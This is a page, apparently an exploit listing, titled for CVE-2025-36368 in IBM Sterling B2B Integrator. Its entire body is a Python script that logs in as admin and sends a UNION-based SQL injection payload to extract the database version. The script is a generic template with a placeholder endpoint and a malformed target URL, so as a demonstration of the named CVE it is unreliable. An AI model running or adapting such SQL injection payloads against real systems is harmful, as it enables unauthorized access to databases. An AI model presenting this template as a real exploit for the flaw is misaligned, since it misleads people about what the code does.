CVE-2025-36368 IBM Sterling B2B Integrator SQL注入漏洞

import requests import sys # CVE-2025-36368 SQL Injection PoC for IBM Sterling B2B Integrator # Target: IBM Sterling B2B Integrator / Sterling File Gateway # Authentication required: Admin privileges TARGET_URL = "https://target-host.com SterlingB2B/..." USERNAME = "admin" PASSWORD = "password" def login(): """Authenticate to the target system""" session = requests.Session() login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data, verify=False) return session if response.status_code == 200 else None def exploit_sql_injection(session): """Send malicious SQL payload via POST request""" # SQL Injection payload - extracts database version # Modify payload based on target database type exploit_url = f"{TARGET_URL}/api/vulnerable_endpoint" # Example payload for UNION-based SQL injection payload = { "parameter": "' UNION SELECT NULL,version(),NULL,NULL-- " } response = session.post(exploit_url, data=payload, verify=False) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Content: {response.text}") return response def main(): print("[*] CVE-2025-36368 SQL Injection PoC") print("[*] Target: IBM Sterling B2B Integrator") session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") exploit_sql_injection(session) if __name__ == "__main__": main()